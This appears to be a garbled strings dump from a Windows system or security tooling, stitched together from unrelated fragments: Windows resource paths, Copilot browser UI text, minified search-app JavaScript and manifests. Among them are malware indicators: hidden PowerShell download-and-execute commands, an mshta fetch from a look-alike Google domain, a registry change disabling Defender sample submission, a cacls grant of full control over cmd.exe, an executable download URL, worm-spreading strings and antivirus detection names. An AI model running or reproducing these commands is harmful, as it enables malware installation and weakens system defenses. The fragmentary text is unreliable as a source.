@%SystemRoot%\system32\vds.exe,-100
@%systemroot%\system32\icsvc.dll,-801
@%systemroot%\system32\icsvcext.dll,-601`
@%systemroot%\system32\icsvc.dll,-301
@%systemroot%\system32\icsvc.dll,-401
@%systemroot%\system32\icsvc.dll,-101
@%systemroot%\system32\icsvc.dll,-201
@%SystemRoot%\System32\Windows.WARP.JITService.dll,-100
@%SystemRoot%\system32\wiarpc.dl909Z0t1
&}olf@po:i+00/c:\f1massawjunmilj.massawjunmilx2combinehelping.batv.combinehelping.bat"...\..\..\..\..\massawjunmil\combinehelping.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dllb{n^j(,/ny
file=c:\windows\system32\
"Windows"
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
Windows.Internal.System.UserProfile.dll
(policybypass-windowstylehidden-file"'+$selfpath+'"-from
:c:\windows\system32\cmd.exe/cG
\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://gsheet.gdocsdown.com/qzanndglhve0927gbkb/c6k+uoixbxdfzrvamvzdbl0=
powershell-noprofile-noninteractive-nologo-windowstylehidden-executionpolicyunrestricted"c:\users\public\like.ps1"
DOMWindowStorageController
DOMWindowStorage
%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-command"iex(irm'http
set-regkey"hklm:\software\microsoft\windowsdefender\spynet""submitsamplesconsent""0""dword
SLGetWindowsInformationDWORD
windowsdefenderadvancedthreatprotection
..\windows\system32\cmd.exe
0:\windows\explorer.exe
\software\microsoft\windows\currentversion\runonce\
hkcu:\software\microsoft\windows\currentversion\explorer\clsid
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UINotifyPropertyChanged@Data@Xaml@UI@Windows@winrt@@X@impl@winrt@@
,policybypass-noprofile-windowstylehidden-command(new-object
WindowsAppRuntime.Release!1.6.0
Microsoft-Windows-Lxss
.com/bgj3/ckjg.exe"$destination="c:\windows\temp\tybd7(
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
)PEvilBytecode/GoDefender/AntiDebug/CheckBlacklistedWindowsNames.initE
winlogon pro
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
 again.Cannot install the same Microsoft Copilot version that is currently running. Please close Microsoft Copilot and try again.Installation failed due to unspecified error. Please download Microsoft Copilot again.Microsoft Copilot requires Windows 10 or higher.An operating system error occurred during installation. Please download Microsoft Copilot again.Another operation on Microsoft Copilot is in progress. Please try again later.The installer failed to un-compress archive. Please download Microsoft Copilot again.The installer archive is corrupted or invalid. Please download Microsoft Copilot again.Microsoft Copilot is already installed for all users on your computer.Provides system tracing services for $1. If this service is disabled, performance traces created by the application will not include system-wide events such as context switch and ready thread events.Import Passwords To CopilotExport Passwords From CopilotPin Copilot to your taskbar to get to it quickly anytimePin CopilotExtensions, apps, and themes from unknown sources can harm your device. Copilot recommends only installing them from the $1Learn why Copilot blocks some downloadsAdding to Copilot
qtWindows DesktopX
msoftware\webdialer\software\microsoft\windows\currentversion\uninstall\webdialer -  reg.nyou must be eighteen (18) years of age or older to use this service.
0123456789ABCDEFWindows DesktopH
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
CopilotHistoryInMRU&&(t?t===null||t===void 0?void 0:t.isSearchHomeZI:!0)&&n.AccessTokenManager.getWindowsAccountType()==2}function lv(){const t=localStorage.getItem(n.OptionHoverLocalStorageKey);return t===null||JSON.parse(t)}function pf(){const t=localStorage.getItem(n.OptionCopilotLocalStorageKey);return t===null&&n.config.wsbWithCopilot||JSON.parse(t)}function wf(){const t=localStorage.getItem(n.OptionPersonalizationStorageKey);return t===null&&n.config.wsbWithCopilot||JSON.parse(t)}function av(){return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isPOFEnabled)&&!(n.isSearchShowOnHoverAllowedSettingEnabled===null||n.isSearchShowOnHoverAllowedSettingEnabled===void 0?void 0:n.isSearchShowOnHoverAllowedSettingEnabled())?n.config.optionsToggleDrop:n.config.optionsToggleDrop&&(n.isSearchPointsOfFlexibilityEnabled===null||n.isSearchPointsOfFlexibilityEnabled===void 0?void 0:n.isSearchPointsOfFlexibilityEnabled())&&!(n.isSearchShowOnHoverAllowedSettingEnabled===null||n.isSearchShowOnHoverAllowedSettingEnabled===void 0?void 0:n.isSearchShowOnHoverAllowedSettingEnabled())}function vv(t){t&&!n.TestHookUrlParameters&&(n.config.useCobaltCSS||t!==lt.RunAsAdmin&&t!==lt.RunAsAdminPreviewPane||SearchAppWrapper.CortanaApp.dismissApp())}function yv(){return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isDMA)?!0:r()}function at(t){if(!t)return!1;const i=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return(t===null||t===void 0?void 0:t.isWebScopeZI)&&n.config.enableZIWebScopeMruDsb&&i!==1}function pv(t){const i=t||"";return i.includes(n.removeIconWebSearchTitleSubstr)?n.Host.getLocString("DeleteWebSearchSuggestionItem"):n.Host.getLocString("DeleteSelectedSuggestionItem",i)}function di(){return wv}function bf(){return n.Host.getWindowsTheme()==2?kv:bv}function dv(){return(n.config.enableEdgeBadgeOnBingSearch||n.config.enableEdgeBadgeOnWebsites||n.config.enableStoreBadgeOnApps)&&!r()}function vt(n,t){if(!n||!t||t.length==0)return!1;const i=t.findIndex(t=>n.toLowerCase().startsWith(t));return i!==-1}function gv(n){return/[\u0600-\u06FF\u0750-\u077F\u0590-\u05FF\u08A0-\u08FF]/.test(n)}function ny(n,t){let i=t?Object.keys(t):[];return i.length>0&&(n+=n.includes("?")?"&":"?",n+=i.map(n=>n+"="+t[n]).join("&")),n}function gi(){return n.config.bingLogToBing}function nr(t){const i=t&33554432;return(i&&n.config.windowsLogUsageToWindows||!i&&n.config.windowsLogPerfToWindows)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56242425))}function tr(){return n.config.windowsAndBingLogToBing}function tt(t,i,r,u,f,e){n.config.splitDataUploadEndpoint?(tr()?SharedLogHelper.LogError(t,i,r,u,f):gi()&&e==="BingTelemetry"&&SharedLogHelper.LogError(t,i,r),e==="WindowsTelemetry"&&nr()&&SharedLogHelper.LogError(t,i,r,u,f,df)):SharedLogHelper.LogError(t,i,r,u,f)}function ty(t,i,r,u){n.config.splitDataUploadEndpoint?(tr()?SharedLogHelper.LogWarning(t,i,r):gi()&&u==="BingTelemetry"&&SharedLogHelper.LogWarning(t,i,r),u==="WindowsTelemetry"&&nr()&&SharedLogHelper.LogWarning(t,i,r,df)):SharedLogHelper.LogWarning(t,i,r)}function iy(){return n.config.logFlightAssignmentsToWindows&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56242355))}function ry(n){return n.type=="SW"||n.type=="PWL"}function uy(t,i){if(r())return t;switch(i){case 1:if(n.config.wsbDSBPartnerCode)return n.setUrlParameter(t,"PC",n.config.wsbDSBPartnerCode);break;case 2:if(n.config.wsbQFPartnerCode)return n.setUrlParameter(t,"PC",n.config.wsbQFPartnerCode)}return n.config.wsbRecentsPartnerCode?n.setUrlParameter(t,"PC",n.config.wsbRecentsPartnerCode):t}function ey(t,i,r){const u=_ge(t);u&&(u.textContent="",n.safeSetTimeout(()=>{const n=document.getElementById(i.id);u.textContent=(n===null||n===void 0?void 0:n.getAttribute("aria-label"))||""},50,r))}function oy(t){if(t&&!t.badgeIcon&&n.config.enableIconBackplate&&!t.fromHistory){const i=h(t),r=t.handoffType;if(n.con
</WindowsPerformanceRecorder>
ava prikazati detalje platne kartice. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
ava popuniti lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
ava kopirati lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
ava urediti lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot 
e lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
ava uvesti lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot 
e podatke upravitelja lozinkama. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
e lozinke. Unesite svoju lozinku za Windows da biste to dozvolili.Ovaj ra
ke. Ponovo preuzmite Microsoft Copilot.Za Microsoft Copilot je potreban Windows 10 ili noviji operativni sistem.Do
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
schtasks /delete /tn "update service for windows service" /fs
cacls c:\windows\system32\cmd.exe /e /t /g everyone:fc
EnumWindows
Windows Live Hojesmtp.bra.terra.com.brMSN2Timer<<LINK1>>
Digest Authentication for Windows
WindowsDialogBoxa6
WindowsMessage
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
, windowStyle,
ck(t,r,u),n.Host.getLogUserActivityDataEnabled()&&n.InstrumentationHelper.instrumentInlineActions(1));return}if(u=u||n.Host.getModifierKeyState(),u.ctrlKey&&u.shiftKey)this.launchVerb(f,ft,t);else if(u.shiftKey)this.launchVerb(f,et,t);else if(((e=f.removeIcon)===null||e===void 0?void 0:e.selected)&&((o=f.removeIcon)===null||o===void 0?void 0:o.click)&&r===1)f.removeIcon.click(t,r,u);else if(f.click)f.click(t,r,u);else if(f.asyncClick){f.asyncClick(t,r,u).then(n=>{if((n===null||n===void 0?void 0:n.length)>0){f.clickCallback(f,n);this.onSuggestionLaunch(f,this._partialQuery)}});return}this.onSuggestionLaunch(f,this._partialQuery)}onSuggestionLaunch(t,i,r){n.isChildSuggestion(t)&&t.parent&&(t=t.parent);this._itemLaunchEventHandlers.forEach(n=>n(t,i,r));n.getGroupType(t)!=n.GroupType.QuickSearch&&(this._addedManualLbshToMru=!0)}launchVerb(t,i,r){let u=gi("launchVerb",t,n.config.rawVerbs,!1,u=>{let f=!1;for(let t of u)if(t.verb&&t.verb.toLocaleLowerCase()==i.toLocaleLowerCase()){t.executeSync?n.safeExecute(()=>t.executeSync(),"verb.executeSync",null,i):n.Async.safeChain("verb.executeAsync",()=>t.executeAsync(),()=>n.Host.manuallyDismissApp(),null,null,i);f=!0;break}f||t.click(r,0)},()=>!0);u||t.click(r,0)}getGroupHeaderClickAction(t,i,r,u){let f,s,e=null,o=null;if(n.RuntimeConfig.QfMode==12)return[null,null,null,null,null];if(n.RuntimeConfig.ScopesAvailable){let r=n.getScope(i.type);if(this.isWorkScope())return f=null,i.type!==n.GroupType.Related||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())?i.type===n.GroupType.WorkSuggestions||i.type===n.GroupType.Related||(t===null||t===void 0?void 0:t.isWorkScopeZI)||i.type===n.GroupType.MRUHistory||(f=()=>{var t;_w.bfbWsbTel&&bfbWsbTel.logWorkScopeClick(`${n.GroupType[i.type]}GroupHeader`,{redirectTo:n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.mapRedirectTarget(u.type)});(t=this._headerFooterViewModel)===null||t===void 0?void 0:t.clickHandler(r,"groupHeader",i)}):f=()=>{const t=this.groups.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].isGroupContainerCollapsed=!this.groups[t].isGroupContainerCollapsed,this._selectedItem.isGroupContainerCollapsed=this.groups[t].isGroupContainerCollapsed)},[f,null,null,null,null];if(r!=n.Scope.All)if(!n.canEnableDsbWebMruInWebScope(t)&&(i.type==n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&i.type==n.GroupType.FromYourHistory)&&t.isSearchHomeZI)s=n.Host.getLocString("OpenPrivacyPortalButtonText"),e=n.Host.getLocString("ManageSearchHistory"),f=()=>n.Host.launchPrivacyPortalAsync();else return n.isL2(t)||!n.isScopeEnabled(r,n.ScopeConfig[r])?[null,null,null,null,null]:(f=()=>this._headerFooterViewModel.clickHandler(r,"groupHeader",i),[f,null,null,null,null])}if(!f)switch(i.type){case n.GroupType.Store:f=()=>n.Host.launchStoreSearchAsync(t.queryToFetch);break;case n.GroupType.SearchSuggestions:case n.GroupType.FromYourHistory:f=()=>this.launchSearch(t,r);break;case n.GroupType.PathCompletion:f=()=>n.Host.launchFolder(rr(t,this._partialQuery));break;case n.GroupType.Upsell:if(t.isSearchHomeZI)return o={content:"&#xE711",type:2},s=n.Host.getLocString("DismissUpsell"),e=n.Host.getLocString("DismissUpsell"),f=this._upsellViewModel.getDismissButtonAction(),[f,null,s,e,o];break;case n.GroupType.AnaheimDataTile:if(!n.canShowAnaheimWin11ZITopSites()&&n.canShowAnaheimDataSHTileE2E())return o={content:"&#xE711",type:2,className:"anaheimDataTileDismissGroup"},s=n.Host.getLocString("DismissAnaheimData"),e=n.Host.getLocString("DismissAnaheimData"),f=()=>{n.config.enableAnaheimDataTSTile&&(n.LightweightStorage.setItem("AnaheimDataTSTileDismissed","1"),n.InstrumentationHelper.logClientInstEvent("Select","AnaheimDataTSTileDismissed",null,null,"WindowsTelemetry",33554432)),n.Host.refreshCurrentPane()},[f,null,s,e,o];break;case n.GroupType.AnaheimDataList:if(n.canShowAnaheimDataSHListE2E())return o={content:"&#xE711",type:2,className:"anaheimDataListDismissGroup"},s=n.Host.getLocString("DismissAnaheimData"),e=n.Host.getLocString("DismissAnaheimData"),f=()=>{(n.config.enableAnaheimDataPH1
\AppData\Local\Temporary Projects\WindowsFormsApp1\obj\Debug\iTalk.pdbTrojan:Win64/LucaStealer.EM!MTB
!#SCPT:PowerShell/NameWindowsDefender
9-namewindows-defender
system32\cmd.exe/cstart
WindowSizeUpperBound
Windows8
*n.Host.isWSBRandomizationEnabled()){if(!this._selectedItem||!n.contains(c,this._selectedItem)||this.isScopeElement(this._selectedItem)||this._selectedItem==i[0]&&this.topResults[0]!=i[0]||this._selectedItem!=c[0]||this._selectedItem.previewPaneNeedsRefreshAfterDeduping){let t=this._partialQuery.queryToFetch&&this.topResults.length>0?this.topResults[0]:null;n.isThirdPartySearchAllowed()&&this._partialQuery.scope==n.Scope.ThirdPartyWeb&&(t=this.topResults.length>0?this.topResults[0]:null);const i=this._selectedItem&&this.isSuggestion(this._selectedItem)?this._selectedItem:null;if(n.config.synthWebNoBestMatch&&n.isNullOrUndefined(t)){let i=[n.GroupType.SearchSuggestions,n.GroupType.FromYourHistory,n.GroupType.Websites],u=r.filter(t=>!n.contains(i,n.getGroupType(t)));u.length==0&&(t=r.length>0?r[0]:null)}this._previewPane&&n.RuntimeConfig.PreviewPaneAvailable&&(h=!1,n.safeExecute(()=>this._previewPane.onTopHitUpdated(this._partialQuery,i,t,this.getSuggestions(!1)),"ppOnTopHitUpdated"));this.select(t,!1);this._page.scrollToTop()}}else t&&this.select(null,!1);let l=this.topResults.length>0,e=t=>!t.suppressed&&t.staticGroupType!=n.GroupType.VisualSearch,a=r&&r.length>0;if(this._headerFooterViewModel&&!h){let t=l||r.some(e)||this.groups.some(n=>n.suggestions.some(e))||this._pendingSuggestionsInMissingGroups.some(n=>n.suggestions.some(e))||this._pendingSuggestionsInExistingGroups.some(n=>n.suggestions.some(e));!n.canShowWorkScopeZiPageContent(this._partialQuery)||n.canShowCuratedSuggestionInEnterpriseScope(this._partialQuery)||r.some(t=>t.staticGroupType==n.GroupType.MRUHistory)||(t=!1);this._headerFooterViewModel.render(this._partialQuery,l,t,u,f,a)}return s}isRankable(t){return n.config.enableAnaheimRelevance==2?t.typeWithSource.type!=n.GroupType.Websites&&t.typeWithSource.type!=n.GroupType.LocalPlaces&&!t.suggestions.some(n.enforceOriginalOrder):t.typeWithSource.type!=n.GroupType.SearchSuggestions&&t.typeWithSource.type!=n.GroupType.FromYourHistory&&t.typeWithSource.type!=n.GroupType.ChatWithBing&&t.typeWithSource.type!=n.GroupType.Websites&&t.typeWithSource.type!=n.GroupType.LocalPlaces&&!t.suggestions.some(n.enforceOriginalOrder)}isNotRankableWithRecourse(t){return t.typeWithSource.type==n.GroupType.Emails}openPreviewPane(t,i){i.stopPropagation();this._previewPane.showPreview(this._partialQuery,t);const r=n.getGroupType(t);if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkMruEnabled())&&n.isCloudScopeMruGroupType(t)||r==n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&r==n.GroupType.FromYourHistory||n.isChildSuggestion(t))this.onSuggestionLaunch(t,this._partialQuery);this.select(t,!0);n.config.reactGroups&&this.selectGroupItem(t);(n.Host.isImageGridEnabled()||n.config.enableImageSearch)&&(this._selectedItem.arrowOrTabAction=!1);const u=n.contains(this.topResults,t);n.isImageGridEnabledForItem(t.type)&&n.shouldShowBingImageSearch(t.type)&&!u?this.renderSelectedSuggestionState(!1):n.Host.setFocusInSearchBox(null,"openPreviewPane")}mayNeedFlush(){return!n.RuntimeConfig.FlatListWithoutGroups}update(t,i,r,u,f,e,o,s,h,c){var w,b,et,k,d,g,nt,tt;let it=this.topResults;if(t&&(this._contentQuery=this._partialQuery,this._renderTopResultsTimerForIcons=null,this._renderGroupsTimerForIcons=null),n.config.enableMRUHint)for(let t of i)t.mruHintEnabled&&(t.uxHint=n.Host.getLocString("MruBestMatch"));if(this._partialQuery.isSearchHomeZI&&n.config.logDsbNotShowReason){let t={accountType:n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType().toString(),entryPoint:SearchAppWrapper.CortanaApp.entryPoint,osVersion:n.config.useCobaltCSS?"windows11":"windows10",osSku:n.Host.getOsSKU().toString(),clientVersion:(b=(w=navigator.userAgent.match(/10\.\d+\.\d+\.\d+\.(\d+)\.\d+/))===null||w===void 0?void 0:w[1])!==null&&b!==void 0?b:"",shouldShowDSBLayout:n.shouldShowDSBLayout(this._partialQuery)?"true":"false",isZeroInputAllScope:n.isZeroInputAllScope(this._partialQuery)?"true":"false",dsbHasContent:(n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.h
WINDOWS11
WINDOWS11
u057e-885f-ed33.tmp%s\system32\winview.ocxsend_shell_data2 %d
system32\msimg32.GradientFill
)=>{SearchAppWrapper.CortanaApp.logMeasure(t,0,i,JSON.stringify(u?u:{}),f?f:"")},r)}function la(){let t=n.Host.getWindowsTheme();return t==2}function aa(n,t){var i,r,u,f;if(n.length!==0){let e=n.filter(n=>n.type=="SPP");if(e.length!==0){let o=n.concat(t);for(let t of e){let e=(i=t===null||t===void 0?void 0:t.packageFamilyName)===null||i===void 0?void 0:i.toLowerCase();if(e)for(let t=0;t<o.length;t++){let i=(r=pt(o[t]))===null||r===void 0?void 0:r.toLowerCase();if(i&&e.startsWith(i)){for(let t=n.length-1;t>=0;t--)if(n[t].type=="SPP"){let i=(f=(u=n[t])===null||u===void 0?void 0:u.packageFamilyName)===null||f===void 0?void 0:f.toLowerCase();if(i===e){n.splice(t,1);break}}break}}}}}}function va(t,i,r,u,f){let o=i.filter(t=>t.type!="SW"&&n.contains(u,h(t))&&!n.contains(f,t.type)),s=r.filter(t=>t.type!="SW"&&n.contains(u,h(t))&&!n.contains(f,t.type)),e=n.config.searchTheWebMaxSuggestionsCount;if(n.config.enableProgressiveSearchTheWebMaxSuggestions&&t)switch(t.queryToFetch.length){case 0:case 1:case 2:case 3:break;case 4:e+=1;break;case 5:e+=2;break;case 6:e+=4;break;case 7:e+=6;break;default:e=25}if(o.length>=e){s.map(n=>n.suppressed=!0);let n=0;o.forEach(t=>t.suppressed=n++>=e)}else{let t=1,n=e-o.length;n>0&&s.filter(()=>t++>=n).map(n=>n.suppressed=!0)}}function lf(n,t,i){if(!n||!t||!i||i.length==0)return!1;const r=i.findIndex(i=>{if(i==="*")return!0;const r=i.toLowerCase().split(":");if(r.length!==2||!r[0]||!r[1])return!1;const[u,f]=r;return t.toLowerCase().startsWith(u)&&n.toLowerCase()===f});return r!==-1}function ya(n,t,i){const r=document.querySelector(n);r&&(r===document.activeElement?r.removeAttribute(t):r.setAttribute(t,i))}function pa(t,i,r){if(n.config.enableScopeHoverTooltip){const n=document.querySelector(t);n&&(n.matches(":hover")?n.removeAttribute(i):n.setAttribute(i,r))}}function wa(){var n,t=1,r=1.1;const o=o=>{const s=document.getElementById(o);i(s)||n===undefined&&(f(),n=setInterval(function(){let n=e(.1*t,1,r);t++;n>=r?(f(),u(s,r)):u(s,n)},1e3/30))},s=o=>{f();const s=document.getElementById(o);i(s)||(n=setInterval(function(){let n=e(.1*t,1,r);t--;n<=1?(f(),u(s,1)):u(s,n)},1e3/30))},u=(n,t)=>{var c,l,a,v,y,p;const r=n.querySelector(".suggContainer .suggDetailsContainer");if(!i(r)){const s=r.querySelector(".iconContainer:not(.secondaryIcon)");i((c=s===null||s===void 0?void 0:s.style)===null||c===void 0?void 0:c.transform)||(s.style.transform="translateY(-50%) scale("+t+")");const u=r.querySelector(".iconContainer.secondaryIcon");if(!i((l=u===null||u===void 0?void 0:u.style)===null||l===void 0?void 0:l.transform)){const n=r.closest(".topResults")!==null;u.style.transform=n?"scale("+t+")":"scale("+t+") translateY(-50%)"}const h=r.querySelector(".copilotIconContainer:not(.secondaryIcon)");i((a=h===null||h===void 0?void 0:h.style)===null||a===void 0?void 0:a.transform)||(h.style.transform="translateY(-50%) scale("+t+")");const f=r.querySelector(".copilotIconContainer.secondaryIcon");if(!i((v=f===null||f===void 0?void 0:f.style)===null||v===void 0?void 0:v.transform)){const i=n.closest(".topResults")!==null;f.style.transform=i?"scale("+t+")":"scale("+t+") translateY(-50%)"}const e=r.querySelector(".primaryTextContent");i((y=e===null||e===void 0?void 0:e.style)===null||y===void 0?void 0:y.transform)||(e.style.transformOrigin="left center",e.style.transform="scale("+t+")");const o=r.querySelector(".secondaryText");i((p=o===null||o===void 0?void 0:o.style)===null||p===void 0?void 0:p.transform)||(o.style.transformOrigin="left center",o.style.transform="scale("+t+")")}},e=(n,t,i)=>t+(.5-Math.cos(n*Math.PI)/2)*(i-t),f=()=>{clearInterval(n),n=undefined};return{onMouseEnter:o,onMouseLeave:s}}function s(){return e||(e=SearchAppWrapper.CortanaApp.regionalPolicies),ki||(ki={isThirdPartyWebSearchSupported:e.isThirdPartyWebSearchSupported,isThirdPartyZeroInputSupported:e.isThirdPartyZeroInputSupported,shouldSearchLaunchToMRUThirdPartyScope:e.shouldSearchLaunchToMRUThirdPartyScope,isFirstPartyZeroInputSupported:e.isFirstPartyZeroInputSupported,areRecentWebSearchesAllowedInFirstPartyZeroInput:e.areRecentWebSearchesAllowedInFirs
Windows
 Windows 
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Microsoft.WindowsLive.Sync" type="win32"/>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
      <!-- First version of Windows with stable and official support for XAML Islands. -->
      <!-- Windows Threshold -->
      <!-- Windows BLUE -->
      <!--The ID below indicates application support for Windows Vista --> 
9="mozilla/5.0(windowsnt6.1;win64;x64;rv:57.0)gecko/20100101firefox/57.0"
  <assemblyIdentity name="Microsoft.Windows.Common-Controls.Resources" version="6.0.26100.1591" processorArchitecture="amd64" language="en-us" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="comctl32.dll.mui" cmiv2:importPath="$(build.nttree)\multi\en-us\asms\60\msft\windows\common\controls" cmiv2:sourceName="">
      <id buildType="release" language="neutral" name="Microsoft.Windows.Multilingual_Components_All" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.26100.1591" />
      <id name="Microsoft.Windows.Categories" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" version="1.0.0.0" />
bCrypto\Cipher\_ARC4.pydbCrypto\Hash\_SHA256.pydpyi-windows-manifest-filename MSHealth.exe.manifest!#HSTR:Trojan:MSIL/Tnega.SS24!MTB
stopimspreadevent\Windows Live\Messenger\msnmsgr.exe\ICQ7.7\ICQ.exe
"daojiaoshihao" = "C:\\WINDOWS\\system32\\Dg_Kun.exe"http://wukuen520.web113.hzfwq.com/daojiaoshihao/Dg_Kun-doc.exe
|Windows Live Messenger|PassFirefox\Downloads\eMule\Incoming\\kazaa lite k++\my shared folder\StartSpread
Erro 404!system32\iexplorer.exeExplorer
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
c:\windows\system32\sys
c:\windows\system32\rundll
c:\windows\system32\wbem\
"c:\windows\system32\
